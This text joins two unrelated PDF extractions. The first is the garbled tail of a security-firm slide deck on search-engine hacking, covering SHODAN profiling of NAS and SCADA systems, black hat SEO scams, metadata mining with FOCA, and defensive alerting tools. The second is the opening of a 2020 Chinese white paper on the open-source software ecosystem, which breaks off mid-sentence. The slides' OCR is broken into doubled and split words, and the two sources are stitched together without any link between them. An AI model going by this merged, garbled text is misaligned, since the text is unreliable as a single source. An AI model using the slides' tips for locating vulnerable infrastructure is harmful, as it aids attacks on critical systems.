23 SHODAN SHODAN H A C K E R S E A R C H E N G I N E SHODAN Computer Search Engine S d b h I f HTTP • Scans and probes the Internet for open HTTP ports and indexes the headers returned in the response • Profile a target without directly probing their systems Profile a target without directly probing their systems • Discover specific network appliances • Easily find vulnerable systems! y y 24 Target NAS Appliances Target NAS Appliances 25 Target SCADA Target SCADA C R I T I C A L I N F R A S T R U C T U R E S E C U R I T Y S i l d d i i i • Supervisory control and data acquisition 26 Target SCADA Target SCADA C R I T I C A L I N F R A S T R U C T U R E S E C U R I T Y SHODAN T A i d! • SHODAN: Target Aquired! 27 Black Hat SEO Black Hat SEO Wh l ? S E A R C H E N G I N E O P T I M I Z A T I O N • Why use real news events? • Black hats make their own fake news • Faux celebrity sex tape anyone? • Send to college students Send to college students • It works! O h h k • Other scammers imitate what works 28 Google Trends Google Trends B L A C K H A T S E O R E C O N 29 D f Defenses B L A C K H A T S E O D E F E N S E S • Google SafeBrowsing plugin • Microsoft SmartScreen Filter • No-script and Ad-block browser plugins No script and Ad block browser plugins • Install software security updates • Stick to reputable sites! • Google results aren’t safe. 30 M t d t Att k Metadata Attacks D A T A A B O U T D A T A • It’s everywhere! • In documents (doc xls pdf) • In documents (doc, xls, pdf) • In images • What can be data mined? • What can be data mined? • Usernames, emails • File paths • Operating systems software versions • Operating systems, software versions • Printers • Network information • Device information 31 v FOCA FOCA A U T O M E T A D A T A M I N I N G • Automated doc search via Google/Bing • Specify domains to target • Automated download and analysis of docs • Automated download and analysis of docs 32 D f Defenses M E T A D A T A M I N I N G D E F E N S E S • Implement a policy to review files for sensitive metadata before they’re released metadata before they re released • Run metadata extraction tools on your resources • Utilize metadata cleaning tools • Digital Rights Management (DRM) tools 33 Advanced D f Defenses P R O T E C T Y O N E C K 34 E i ti D f Existing Defenses “H A C K Y O U R S E L F” Tools exist Real-time updates Convenient Multi-engine results Real time updates Historical archived data Multi-domain searching 35 g Ad d D f Advanced Defenses N E W H O T S I Z Z L E Stach & Liu now proudly presents: p y p • Google Hacking Alerts • Bing Hacking Alerts 36 DEMO A D V A N C E D D E F E N S E T O O L S DEMO 37 Ad d D f Advanced Defenses G O O G L E H A C K I N G A L E R T S Google Hacking Alerts • All GHDB/FSDB regexs using g g • Real-time vuln updates to 1623 hack queries via RSS • Organized and available via importable file 38 Ad d D f Advanced Defenses G O O G L E H A C K I N G A L E R T S 39 Ad d D f Advanced Defenses B I N G H A C K I N G A L E R T S Bing Hacking Alerts • Bing searches with regexs from BHDB L ‘&f ’ d d f d • Leverage ‘&format=rss’ directive to turn into update feeds 40 F Di i Future Direction P R E D I C T I O N S 41 F t Di ti Future Directions P R E D I C T I O N S Data Explosion Renewed Tool Dev • More data indexed, searchable • Real-time, streaming updates • Faster more robust search • Google Ajax API based • Bing/Yahoo/other engines • Search engine aggregators G l C d d Oth O • Faster, more robust search interfaces Google Involvement • Google Code and Other Open Source Repositories • MS CodePlex, SourceForge, … • More automation in tools g • Filtering of search results • Better GH detection and tool blocking Mo e au o a o oo s • Real-time detection and exploitation • Google worms 42 F t Di ti Future Directions R E A L – T I M E U P D A T E S 43 Questions? Questions? Ask us something Ask us something We’ll try to answer it. W y w For more info: Email: [email protected] St h & Li LLC Stach & Liu, LLC www.stachliu.com Thank Yo Thank You 45
pdf
开源生态白皮书 (2020 年) 中国信息通信研究院 2020年10月 版权声明 本白皮书版权属于中国信息通信研究院,并受法律保护。 转载、摘编或利用其它方式使用本白皮书文字或者观点的, 应注明“来源:中国信息通信研究院”。违反上述声明者,本 院将追究其相关法律责任。 前 言 近几年开源技术快速发展,在云计算、大数据、人工智能等领域 逐渐形成技术主流,开源技术已经成为企业构建信息系统的重要选择, 国内企业参与开源生态的热情度持续提升。 本白皮书是中国信息通信研究院在开源领域发布的白皮书,分析 国内外开源生态发展现状,梳理当前发展热点,展望未来发展趋势。 白皮书首先介绍了开源生态发展概况,重点围绕开源布局、开源运营、 开源治理、开源风险、行业开源等开源领域热点话题进行探讨,最后 对开源生态未来发展进行了展望。 目 录 一、 开源生态概述 .................................................. 1 (一)开源概念逐渐明晰 .......................................... 1 (二)开源生态以开源项目为中心构建 .............................. 2 二、 开源生态发展现状 .............................................. 3 (一)开源数量持续攀升,我国开源覆盖全栈技术领域 ................ 3 (二)开源占据各领域主要市场份额,我国开源应用逐年攀升 .......... 6 (三)开源企业数量保持稳定增长,我国企业呈现主动开源趋势 ....... 12 (四)开源基金会成为开源运营重要角色 ........................... 15 (五)各行业开源生态已经形成,我国行业积极拥抱开源 ............. 16 (六)开源风险问题凸显,成为开源应用屏障 ....................... 19 (七)全球开源治理理念兴起,我国初步形成开源治理模式 ........... 21 (八)开源配套政策正在完善,我国政策引导开源社区构建 ........... 22 三、开源成为企业商业布局的重要手段 ................................. 24 (一)全球开源商业模式多样化发展 ............................... 24 (二)全球开源企业已启动收购模式,进一步扩大用户群体 ........... 25 (三)我国开源企业已初步构建形成有影响力的开源项目 ............. 27 四、全球开源基金会运营模式成熟,我国率先探索联盟运营机制 ........... 30 (一)良好的开源社区是形成开源代码的前提条件 ................... 30 (二)开源基金会运营通过知识产权托管培育开源社区 ............... 31 (三)我国逐步形成稳定的开源运营机制 ........................... 34 五、传统行业逐步拥抱开源生态,我国行业用户关注开源使用 ............. 35 (一)工业互联网布局开源看重产业数字化新机遇 ................... 35 (二)电信行业由用户侧及运营商推动开源,探索产品创新 ........... 36 (三)政府采购行业发展开源看重公开透明 ......................... 38 (四)金融机构开源看重产业创新力和市场布局 ..................... 39 六、开源风险问题复杂,开源治理体系正在构建 ......................... 41 (一)知识产权合规及安全漏洞风险相对普遍 ....................... 41 (二)开源法律和知识产权环境推动开源良性发展 ................... 44 (三)开源治理工具加速企业开源治理体系构建 ..................... 45 (四)开源治理模式逐步落地 ..................................... 46 七、开源生态未来发展趋势与建议 ..................................... 47 (一)开源生态未来发展趋势 ..................................... 47 (二)我国开源生态发展建议 ..................................... 49 附录一:开源软件风险扫描 ............................................ 1 (一)许可证及合规风险 .......................................... 1 (二)安全漏洞风险 .............................................. 6 附录二:企业开源治理案例 ........................................... 11 (一)浦发银行开源治理案例 ..................................... 12 (二)中信银行开源治理案例 ..................................... 14 (三)中国银行开源治理案例 ..................................... 16 (四)中兴开源治理案例 ......................................... 16 (五)红帽开源治理案例 ......................................... 19 图 目 录 图 1 开源软件与自由软件、免费软件的关系 .................................................... 1 图 2 开源生态架构图 ............................................................................................ 3 图 3 全球开源项目数量增长趋势 ........................................................................ 4 图 4 GitHub 近三年开源项目数量及增长率 ........................................................ 4 图 5 全球开源项目贡献者数量 ............................................................................ 5 图 6 中国自发开源项目分布地图 ........................................................................ 5 图 7 开源数据库增长趋势 .................................................................................... 7 图 8 Kafka 市场份额 .............................................................................................. 7 图 9 我国企业开源软件使用情况 ........................................................................ 8 图 10 企业选择开源软件原因 .............................................................................. 9 图 11 企业开源软件应用领域 ............................................................................ 10 图 12 我国企业云计算开源技术应用部署规模 ................................................ 10 图 13 容器技术应用情况 .................................................................................... 11 图 14 企业微服务框架应用情况 ........................................................................ 11 图 15 企业使用开源集成工具情况 .................................................................... 12 图 16 Github 近三年企业数量增长趋势 ............................................................ 12 图 17 Linux 基金会近十年会员数量增长趋势 .................................................. 13 图 18 我国头部科技公司近两年 GitHub 开源项目数 ...................................... 13 图 19 企业积极开源的动机 ................................................................................ 14 图 20 自发开源企业的开源项目规模 ................................................................ 14 图 21 企业选择开源代码托管平台情况 ............................................................ 14 图 22 开源服务企业拥有闭源软件情况调查 .................................................... 15 图 23 企业选择开源软件进行二次开发情况 .................................................... 15 图 24 开源代码在不同行业代码库中的数量 .................................................... 17 图 25 热门开源组件及使用比例 ........................................................................ 18 图 26 开源服务企业的服务对象分布情况 ........................................................ 19 图 27 风险漏洞占比 ............................................................................................ 19 图 28 美国 2012-2018 年开源项目/平台的专利诉讼案例数量 ....................... 20 图 29 我国企业未使用开源软件的原因 ............................................................ 21 图 30 企业开源治理情况调查 ............................................................................ 22 图 31 企业认为开源软件引入产生的风险情况 ................................................ 22 图 32 开源商业布局的四种方式 ........................................................................ 25 图 33 开源投资情况 ............................................................................................ 26 图 34 电信行业开源项目 .................................................................................... 37 图 35 金融行业开源项目应用情况 .................................................................... 41 图 36 开源治理架构图 ........................................................................................ 47 图 37 容器运行技术领域开源许可证风险情况 .................................................. 2 图 38 容器编排技术领域开源许可证风险情况 .................................................. 3 图 39 微服务框架领域开源许可证风险情况 ...................................................... 4 图 40 DevOps 领域开源许可证风险情况 ............................................................ 4 图 41 无服务器架构领域开源许可证风险情况 .................................................. 5 图 42 人工智能领域开源许可证风险情况 .......................................................... 6 图 43 数据库领域开源许可证风险情况 .............................................................. 6 图 44 容器运行技术领域开源漏洞风险情况 ...................................................... 7 图 45 容器编排技术领域开源漏洞风险情况 ...................................................... 8 图 46 微服务领域开源漏洞风险情况 .................................................................. 9 图 47 DevOps 领域开源漏洞风险情况 .............................................................. 10 图 48 无服务器架构领域开源漏洞风险情况 .................................................... 10 图 49 人工智能领域开源漏洞风险情况 ............................................................ 11 图 50 数据库领域开源漏洞风险情况 ................................................................ 11 表 目 录 表 1 数据库市场情况 ............................................................................................. 6 表 2 开源基金会会员及项目数量 ....................................................................... 16 表 3 我国企业在 Github 代码贡献情况 ............................................................. 28 表 4 开源社区分类 ............................................................................................... 30 表 5 电信行业开源基金会 ................................................................................... 37 开源生态白皮书(2020 年) 1 一、开源生态概述 (一)开源概念逐渐明晰 开源既是一种协作模式,也是一种特性的产品。开源形态最早出 现于上世纪六十年代,软件代码附属硬件产品以开源的形式分发。 1983 年,Richard Matthew Stallman 发起 GNU 计划,推动自由软件概 念,成为开源软件早期形态。开源软件明确定义由 1998 年 OSI 给出, 包括十大特性,即自由再发布、源代码公开、允许派生作品、作者源 代码完整性、不能歧视任何个人或团体、不能歧视任何领域、许可证 的发布、许可证不能只针对某个产品、许可证不能约束其他软件、许 可证必须独立于技术。 从过程维度看,开源是一种分布式协作模式,从结果维度看,开 源是一种特定形态的产品,具有公开、可使用、可修改、可分发特点。 开源软件比自有软件更宽松,开源软件与免费软件无直接对应关系, 公开代码不一定是开源软件。 图 1 开源软件与自由软件、免费软件的关系 开源生产模式逐渐成为新一代软件开发模式。随着产业数字化发 展,信息技术需要满足业务场景发展需求,具有海量数据处理能力, 开源生态白皮书(2020 年) 2 快速上线迭代特点,多场景异构兼容性,传统软件封闭开发模式在创 新度、迭代速度上均存在一定限制。开源开发模式具有公开透明的特 点,有效聚集优质开发人员,形成分布式协作,推动产品快速迭代, 同时丰富企业商业模式,促进科技公司良性竞争。 (二)开源生态以开源项目为中心构建 开源生态以开源项目为中心构建,依托开源社区协作形成软件、 硬件等开源项目。涉及开源贡献者、开源使用者、开源运营者、开源 服务者多重角色,包含开源治理、开源运营、开源商业布局等多个环 节,需要满足开源规则要求,依托代码托管平台等基础设施构建。 微观层面开源生态依托四大角色进行有效协作。开源生态涉及开 源贡献者、开源使用者、开源运营者、开源服务者等多个角色,企业 和个人均可参与。开源贡献者主要最初贡献开源项目的企业或个人, 目前以科技公司贡献为主;开源使用者指开源的使用主体,涉及范围 广泛;开源运营者主要指促进开源协作的主体,开源基金会项目托管 是一种成熟的开源运营模式;开源服务者指基于开源提供商业产品或 服务的企业。对于开源贡献者和开源服务者,开源是实现商业布局的 一种途径,可将开源布局与商业产品布局进行有效结合,推动用户使 用,在应用层面有效降低边界成本,扩大用户使用范围。对于开源使 用者,开源模式推动产品快速迭代,激发产品创新,丰富产业侧供应 体系,建立用户需求联动机制。 宏观层面开源生态涉及开源运营、开源治理、开源商业布局、开 源规则、基础设施等多个要素。开源运营推动开发者持续贡献开源项 开源生态白皮书(2020 年) 3 目,推动开源项目在产业用户中的使用;开源治理是针对开源引入过 程、自发开源过程、开源社区维护等方面的一套流程体系,是推动开 源生态良性发展的有效手段;开源商业布局是将开源与自身商业模式 进行有效结合,实现商业转换的过程;开源规则包括法律环境、开源 社区规定、开源许可证等,明确开源使用分发的权利义务;开源基础 设施包括开源代码托管平台、社区网站等,支撑开源协作。 图 2 开源生态架构图 二、开源生态发展现状 (一)开源数量持续攀升,我国开源覆盖全栈技术领 域 全球开源项目数量呈指数级增长。根据全球最大开源代码托管平 台GitHub年度报告数据显示,截至2019年GitHub托管仓库已有1.4亿, 2019年新增仓库4400万个,创建第一个项目的用户比2018年增加44%, 开源生态白皮书(2020 年) 4 130万开发者对开源做出首次贡献。SourceClear调查报告指出开源项 目已呈现指数级增长趋势,2026年预计超过3亿。 数据来源:SourceClear 调查报告 图 3 全球开源项目数量增长趋势 数据来源:GitHub,2019年11月 图 4 GitHub 近三年开源项目数量及增长率 活跃开源项目集中在新兴技术领域。2019年GitHub代码仓库中, 人工智能、云计算等新技术领域开源项目关注度较高,微软的源码编 辑器VSCode、机器学习文档Azure Docs是2019年GitHub上贡献者最多 的开源项目,其次是谷歌的机器学习平台TensorFlow、容器编排平台 Kubernetes和Facebook的移动应用开发框架React Native框架。 6.7 9.4 14 40.30% 48.94% 0.00% 10.00% 20.00% 30.00% 40.00% 50.00% 60.00% 0 2 4 6 8 10 12 14 16 2017 2018 2019 项目数(千万) 增长率 开源生态白皮书(2020 年) 5 数据来源:GitHub,2019年11月 图 5 全球开源项目贡献者数量 我国自发开源项目覆盖全栈技术领域。我国自发开源项目涵盖底 层操作系统、物联网操作系统和编译器,中间层边缘计算、容器、中 间件、微服务、数据库和大数据,上层前端开发、移动开发和UI框架, 另外还有人工智能领域、运维和其他热门开源项目,基本覆盖目前主 要的技术领域,接近30个的开源项目已经捐赠给开源基金会,走向国 际。 数据来源:中国信息通信研究院,2020 年 6 月 备注:红框代表开源项目捐赠给开源基金会 图 6 中国自发开源项目分布地图 19.1 14 9.9 6.9 0 2 4 6 8 10 12 14 16 18 20 VSCode Azure Docs TensorFlow Kubernetes 贡献者数量(k) 开源生态白皮书(2020 年) 6 (二)开源占据各领域主要市场份额,我国开源应用 逐年攀升 全球基础软件领域,开源占据主要市场份额。基础软件主要包括 操作系统,数据库和中间件,操作系统可以细分为 PC 操作系统、手 机操作系统、物联网操作系统、超级电脑操作系统等,根据 Linux 年 度报告,在操作系统领域,Linux 分别占据 100%的超级计算机市场和 82%的智能手机市场,桌面操作系统市场排名第二;数据库可以分为 关系型数据库与非关系性数据库,非关系型性数据库又可以细分为文 档型数据库、图数据库、时序数据库、K-V 存储数据库等,根据 DB- Engines 数据显示,截至 2020 年 9 月全球开源数据库 182 个,已超过 商业数据库 176 个;中间件可以按照功能分为消息中间件、事务中间 件与远程过程调用(RPC)中间件,根据 enlyft 数据显示,Apache Kafka 占据应用集成领域 16.5%市场份额,同类型竞品中排名第一,Seata、 Dubbo 也分别在事务中间件与 RPC 领域占据领先地位。 表 1 数据库市场情况 名称 领域内排名 全市场排名 关系型数 据库(开 源占比 39.5%) MySQL 2 2 PostgreSQL 4 4 Sqlite 7 10 非关系型 数据库 文档型数据库(开源占比 80%) MongoDB 1 5 Couchbase 3 20+ 图数据库(开源占比 68.4%) Neo4j 1 20+ 开源生态白皮书(2020 年) 7 OrientDB 3 20+ 时序数据库(开源占比 80.7%) InfluxDB 1 20+ Prometheus 3 20+ K-V 存储数据库(开源占比 72.2%) Redis 1 8 memcached 4 20+ 来源:DB-Engines ,2020 年 3 月 数据来源:DB-Engines,2020 年 9 月 图 7 开源数据库增长趋势 数据来源:enlyft,2020 年 8 月 图 8 Kafka 市场份额 全球新兴技术领域,开源成为主要技术路径。云计算领域涉及虚 拟化、虚拟化管理等多个技术,以容器为代表的云原生技术路径是未 Apache Kafka(16.49%) BizTalk Server(13.52%) IBM Websphere MQ(12.88%) Oracle Fusion Middleware(9.23%) View all other top products 开源生态白皮书(2020 年) 8 来云计算发展趋势,根据 CNCF 调查报告,2019 年 84%的公司在生 产中使用容器,其中 78%的用户使用 Kubernetes 进行容器集群管理; 大数据领域,大数据采集、大数据预处理、大数据存储及管理、大数 据分析及挖掘、大数据展现和应用等关键技术,Hadoop 是大数据存 储与管理的主要技术,根据 QYResearch 调查显示,到 2025 年全球 Hadoop 市场预计将达到 6708 亿美元,2017-2025 年年均增长 65.6%, 亚马逊 EMR、谷歌 Dataproc、阿里云 E-MapReduce 和 AzureHDInsight 均选择基于 Hadoop 构建;人工智能领域涉及机器学习、知识图谱、 自然语言处理、人机交互、计算机视觉、生物特征识别、AR/VR 等技 术,其中机器学习框架是关键技术,TensorFlow 拥有 8 万多 Fork 数, 位居同类型产品排名第一,Caffe 和 Keras 在学术界和工业界应用广 泛,三者稳居深度学习库前三名。 我国开源软件应用比例略有提升。根据信通院调查显示,2019 年 我国企业已经使用开源技术的企业占比为 87.4%,比去年增长 0.7%, 暂未计划使用开源技术的企业占比为 2.3%,比去年降低 0.4%,我国 企业对开源技术的接受程度较高,使用开源技术已成主流。 数据来源:中国信息通信研究院,2020 年 5 月 图 9 我国企业开源软件使用情况 开源生态白皮书(2020 年) 9 节约成本,大大缩短应用部署时间,成为我国企业选择使用开源 技术最主要的原因。有 50.8%的开源用户企业认为使用开源技术可以 节约成本,比去年增长 8.9%,认为使用开源技术可以大大缩短应用 部署时间的企业占比为 45.1%,另外自主性、可控性(30.3%)和降低 试错风险(20.7%)也是企业认为使用开源技术的两个优点。 数据来源:中国信息通信研究院,2020 年 5 月 图 10 企业选择开源软件原因 我国超半数企业使用开源软件应用于数据库方向。企业在数据库 方面对开源软件的使用比例最高,占比为 58.7%,其次企业对大数据 和存储的开源软件使用占比也均超过五成,分别为 52.4%和 51.2%, 另外有 48.4%的企业在网络方面使用开源软件,有 46.3%的企业选择 在云计算方面使用开源软件。 开源生态白皮书(2020 年) 10 数据来源:中国信息通信研究院,2020 年 5 月 图 11 企业开源软件应用领域 我国云计算领域已普遍应用云计算开源技术。据中国信通院调查, 云计算开源解决方案部署虚拟服务器的个数在 500 以内的企业占比 最高,达到 33.5%,虚拟服务器个数在 500 个以上的企业占比 25.8%, 还有 35.4%的企业已少部分试用部署虚拟服务器。 数据来源:中国信息通信研究院,2020 年 5 月 图 12 我国企业云计算开源技术应用部署规模 我国超过七成的企业已经应用开源容器技术。据调查,40.7%的 企业已经使用了容器技术,相比 2018 年提高了 4.3%;其次,正在测 试容器技术应用环境的企业占比达到 32.3%,比去年减少 1.9 个百分 点。此外,还有 19.1%的企业正在评估容器技术。 开源生态白皮书(2020 年) 11 数据来源:中国信息通信研究院,2020 年 5 月 图 13 容器技术应用情况 微服务领域以开源技术路径为主,我国超过六成企业已经应用或 正在测试微服务框架。在对企业微服务框架使用情况的调查中发现, 24.8%的企业已经应用微服务框架,相比 2018 年提高 2.0%;其次, 正在测试环境的企业占比达到 34.4%,与去年相比提高 2.8%;此外, 还有 27.6%的企业正在评估微服务框架。 数据来源:中国信息通信研究院,2020 年 5 月 图 14 企业微服务框架应用情况 Jenkins 是目前我国企业使用最广泛的开源集成工具。调查发现, 在诸多开源集成工具中,Jenkins 的使用比例最高,达到 36.8%;其次, 分别有 32.9%和 21.1%的企业表示已经应用 TeamCity 和 GitLab CI。 此外,使用 Go CD 的企业占比为 9.2%。 开源生态白皮书(2020 年) 12 数据来源:中国信息通信研究院,2020 年 5 月 图 15 企业使用开源集成工具情况 (三)开源企业数量保持稳定增长,我国企业呈现主 动开源趋势 全球参与开源生态的企业数量激增。全球企业一方面积极参与开 源代码贡献,开源代码托管是开源协作的必要条件,截至 2019 年 12 月 GitHub 参与的企业数接近 300 万;另一方面积极跟进开源组织, 开源基金会是开源运营的一种模式,目前 Linux 基金会企业会员数超 过 1500,是 5 年前会员数的 5 倍。 数据来源:GitHub,2020 年 7 月 图 16 Github 近三年企业数量增长趋势 0.00% 50.00% 100.00% 150.00% 200.00% 250.00% 300.00% 350.00% 400.00% 450.00% 0 50 100 150 200 250 300 350 2016 2017 2018 2019 企业数(万) 增长率 开源生态白皮书(2020 年) 13 数据来源:GitHub,2020 年 7 月 图 17 Linux 基金会近十年会员数量增长趋势 我国企业近年开源热度提升。近两年来,我国头部科技公司贡 献大量开源项目,百度、阿里、腾讯和华为等企业开源数量连年增 长。 数据来源:公开数据整理,2020 年 7 月 图 18 我国头部科技公司近两年 GitHub 开源项目数 技术共建是我国企业参与开源的主要动机。根据信通院调查, 60.7%的企业希望通过建设开源生态的方式影响共建技术,实现产品 的完善与提升,其次,有 41.4%的企业希望能借助开源项目扩大企业 名气。 0.00% 10.00% 20.00% 30.00% 40.00% 50.00% 60.00% 70.00% 80.00% 0 200 400 600 800 1000 1200 1400 1600 1800 会员数 增长率 0 200 400 600 800 1000 1200 1400 1600 百度 阿里 腾讯 华为 国内头部科技公司GitHub上的开源项目 数量情况 2019年3月 2020年3月 开源生态白皮书(2020 年) 14 数据来源:中国信息通信研究院,2020 年 5 月 图 19 企业积极开源的动机 大范围发起开源的企业仍占少数。信通院调查发现,我国自发开 源企业中,开源项目数量小于 10 个的企业占比为 40.1%,仅有 4.4% 的企业开源项目数量超过 100 个。 数据来源:中国信息通信研究院,2020 年 5 月 图 20 自发开源企业的开源项目规模 GitHub 成为我国自发开源企业首选的开源代码托管平台。对开 源自发企业调查发现,企业开源项目时最多考虑的代码托管平台是美 国公司运营的 GitHub,比例高达 46.1%,其次选择的代码托管平台是 中国公司运营的 Gitee,占比为 32.8%,另外还会考虑的开源代码托管 平台是 GitLab(美国公司运营)和 Coding(中国公司运营)。 数据来源:中国信息通信研究院,2020 年 5 月 图 21 企业选择开源代码托管平台情况 超六成开源服务企业提供闭源软件。调查的开源服务企业中,有 开源生态白皮书(2020 年) 15 67.4%的企业拥有基于开源软件的闭源软件,说明开源服务企业提供 开源服务时大多通过售卖封装好的闭源软件创造商业价值。 数据来源:中国信息通信研究院,2020 年 5 月 图 22 开源服务企业拥有闭源软件情况调查 云计算和数据库是开源服务企业的两大热门领域。调查显示, 2019 年中国开源服务企业中 51.9%是基于云计算领域的开源软件进 行二次开发提供开源服务,有 47.8%的产品是基于数据库领域的开源 软件进行二次开发,此外网络(28.8%)和人工智能(26.3%)类开源 软件也是开源服务企业进行二次开发主要选择的两个领域。 数据来源:中国信息通信研究院,2020 年 5 月 图 23 企业选择开源软件进行二次开发情况 (四)开源基金会成为开源运营重要角色 目前主流的开源基金(Linux 基金会、Apache 基金会等)是在美 国国税局注册的 501(c)(3)或 501(c)(6)非盈利机构,近年来开源基金会 开源生态白皮书(2020 年) 16 会员数及托管项目数不断扩充,我国企业积极参与国际开源基金会。 表 2 开源基金会会员及项目数量 开源基金会 会员数 托管项目数 中国会员数 中国项目 数 Linux基金会 (不包括子基金会) 607 100 28 15 Apache基金会 55 350 4 11 OpenStack基金会 140 56 9 - 来源:公开资料整理,2020年4月 (五)各行业开源生态已经形成,我国行业积极拥抱 开源 全球各行业开源应用均占据较高比例。根据新思科技发布的 《2020开源安全与风险分析报告》调查显示,在可扫描的代码范围内, 在互联网和软件基础设施行业以及物联网行业的代码库中分别有 83.4%和82.1%是开放源代码;其次,在教育技术、网络安全、营销技 术领域开源代码分别占比78.8%,78.4%和78.1%;金融服务和技术 (75.3%)、能源和清洁技术(71.6%)、以及娱乐媒体行业(70.1%) 也都是开源代码应用的热门领域。 开源生态白皮书(2020 年) 17 数据来源:新思科技,2020 年 5 月 图 24 开源代码在不同行业代码库中的数量 根据新思科技发布的《2020开源安全与风险分析报告》显示,对 全球1200多个代码库进行扫描统计出使用频率最高的前10名开源组 件,jQuery是使用最多的开源组件,该组件是使用MIT许可证的开源 软件,涵盖54.9%的扫描代码库和几乎所有的行业。其次是前端web框 架开源组件Bootstrap,使用比例达到39.7%;第三名是一个基于CSS和 LESS的开源字体和图标工具包组件Font Awesome,使用比例为30.7%; 第四名是Lodash,它为常见编程任务提供实用函数的JavaScript库,使 用比例为29.9%。其他6个开源组件和使用比例分别为jQuery UI, 29.3%;Underscore,28.1%;Inherits,26.8%;isArray,25.8%; Visionmedia/debug,25.6%;Minimatch,25.5%。 0.00% 10.00% 20.00% 30.00% 40.00% 50.00% 60.00% 70.00% 80.00% 90.00% 开源生态白皮书(2020 年) 18 数据来源:新思科技,2020 年 5 月 图 25 热门开源组件及使用比例 全球传统行业积极跟进开源组织,并形成行业特色开源社区。 2019 年 Github 企业账号超过 300 万,AT&T、摩根大通、西门子等行 业用户积极参与开源贡献;Linux 基金会会员同样覆盖重点行业用户, 包括通用、NTT、富士通、中国移动、民生银行等。重点行业及领域 逐步形成特定开源社区,对于电信行业,Linux 合并的六个项目 (ONAP、OPNFV、OpenDaylight、FD.io、PDNA 和 SNAS)成立 LFN 工作组,白金会员中覆盖全球 60%运营商;金融行业,2016 年成立 金融行业开源社区(FINOS),2020 年成为 Linux 基金会的子基金会; 边缘计算领域,Linux 基金会在 2019 年成立 LF EDGE 基金会,旨在 建立独立于硬件、芯片的一个开放的、可互操作的边缘计算框架。 我国互联网、金融、软件和信息技术服务行业是开源服务企业主 要的服务对象。开源服务企业对互联网服务的占比最高,为 40.8%, 其次是服务软件和信息技术行业,达到 32.6%,金融业也是开源服务 企业的重要服务对象,服务占比达 31.6%。 0.00% 10.00% 20.00% 30.00% 40.00% 50.00% 60.00% 开源生态白皮书(2020 年) 19 数据来源:中国信息通信研究院,2020 年 5 月 图 26 开源服务企业的服务对象分布情况 (六)开源风险问题凸显,成为开源应用屏障 存在漏洞的开源软件占比较高。根据 BD《2020 开源安全与风险 分析报告》显示,75%的代码库至少含有一个漏洞,49%的已审核代 码库包含高风险漏洞,发现最多的高危漏洞为 CVE-2018-16487,在 513 个代码仓库中发现此漏洞(高风险 Lodash 原型污染漏洞)。 数据来源:新思科技,2020 年 5 月 图 27 风险漏洞占比 开源软件知识产权问题逐渐引起关注。根据 BD《2020 开源安全 与风险分析报告》统计,67%的开源组件存在许可证冲突的情况,最 0 100 200 300 400 500 600 开源生态白皮书(2020 年) 20 常见的情况是与 GPL 许可证存在兼容性的问题,GPL 是最常见的许 可证之一,因此使用 GPL 许可证的开源项目数量较多,发生许可证 兼容性问题的比例也是最多。根据美国专利组织 Unified Patents 公布 的一项研究结果表明,2012 年到 2018 年底在美国地区法院共产生了 约 260 个开源项目/平台的专利诉讼案例。中国 2019 年也出现了第一 例涉及 GPL 开源许可证的诉讼案例,这起案件是因侵犯计算机软件 著作权所产生的纠纷案。 数据来源:Unified Patents,2019 年 11 月 图 28 美国 2012-2018 年开源项目/平台的专利诉讼案例数量 出于安全性考虑成为我国企业尚未应用开源技术的最主要原因。 2019 年,出于安全性考虑而未使用开源技术的企业占比最高,达到 43.8%,比去年增加 8.6%,而 2018 年占比最高的是缺少适合的解决 方案,在 2019 年占比为 35.6%,比 2018 年降低 7.8%,降至第二位, 反映出企业对于开源治理的诉求更加迫切。 23 35 22 39 46 46 49 0 10 20 30 40 50 60 2012 2013 2014 2015 2016 2017 2018 开源生态白皮书(2020 年) 21 数据来源:中国信息通信研究院,2020 年 5 月 图 29 我国企业未使用开源软件的原因 (七)全球开源治理理念兴起,我国初步形成开源治 理模式 开源治理是针对开源引入过程、自发开源过程、开源社区维护等 方面的一套流程体系,是推动开源生态良性发展的有效手段。 全球部分企业正在规划开源办公室。根据 Linux 基金会开源办公 室调查报告显示,在 2,700 名研究参与者中,超过一半(52%)拥有 正式或非正式开源项目办公室,或者他们的公司计划创建一个计划。 我国企业逐步关注统一开源治理。开源软件数目庞大,统筹管理 困难成为企业最关注的开源软件引入风险点,23.6%的受访企业有统 一管理流程和管理团队,13.4%的企业有白名单或黑名单机制,55.1% 的企业目前对引入的开源项目没有统一管理,主要由开发运维团队分 散管理。 开源生态白皮书(2020 年) 22 数据来源:中国信息通信研究院,2020 年 5 月 图 30 企业开源治理情况调查 开源软件数量庞大是开源治理的主要难点。对开源用户企业调查 发现,开源软件数量庞大,统筹管理困难是企业关注的开源软件引入 的最主要风险,占比达到 63.4%,技术更新迭代快、运维成本高(52.8%) 和安全漏洞威胁严重(50.2%)也是企业认为引入开源软件会遇到的 主要风险。 数据来源:中国信息通信研究院,2020 年 5 月 图 31 企业认为开源软件引入产生的风险情况 (八)开源配套政策正在完善,我国政策引导开源社 区构建 全球通过政府采购市场调动开源生态。美国联邦政府于2016年推 出联邦源代码政策,规定美国政府各部门每年采购的软件中20%的代 码需开源;韩国政府拟在2026年前让所有公共机构和地方政府采用基 于Linux的OpenOS系统,同时使用OpenOS系统将有效减少采购商业 操作系统以及操作系统技术支持方面的开支;英国政府在2019年发布 开源生态白皮书(2020 年) 23 的最新版《数字服务标准》第12条要求政府部门公开所有新的代码, 并选择合适的许可证开源。 政府部门引导产业关注开源风险问题。欧盟推出“IDABC”计划 解决开源许可证的风险问题,欧盟通过制定欧盟公共许可证EUPL促 进各成员国共享和重新利用由公共机构和行政机构开发或为其开发 的软件;澳大利亚政府单独发布《澳大利亚和政府开源软件许可风险 框架》,概述开源许可风险的重要性,提供识别和管理开源软件许可 证相关的风险方法;英国政府发布《开放代码的安全注意事项指南》; 美国联邦金融机构审查委员会发布《开源软件风险管理指引》。 政府相关部门加大开源方面投入。美国科研院所引领开源生态, 美国科研院所从开源项目的使用者向开源项目的贡献者转变,截至 2020 年 4 月,美国 NASA 在 Github 上托管 261 个开源项目,同时 NASA建立了自己的开源代码托管平台,托管560个开源项目(源码、 开放数据、开放 API 等),阿贡国家实验室在 Github 上共托管 160 个 开源项目,洛斯阿拉莫斯国家实验室在 Github 上共托管 38 个开源项 目,这些开源项目在各自领域具有重要价值,并逐步形成自己的开源 生态。欧洲核子研究机构(CERN)在开放数据、开源硬件有一定积 累,在 GitHub 有 6 个开放数据的项目。 我国政策关注开源社区发展。一方面国家层面鼓励产业加大开源 投入,2016 年发改委发布“十三五”国家信息化规划的通知(国发 〔2016〕73 号),推动龙头企业和科研机构成立开源技术研发团队, 支持开源社区创新发展,鼓励我国企业积极加入国际重大核心技术的 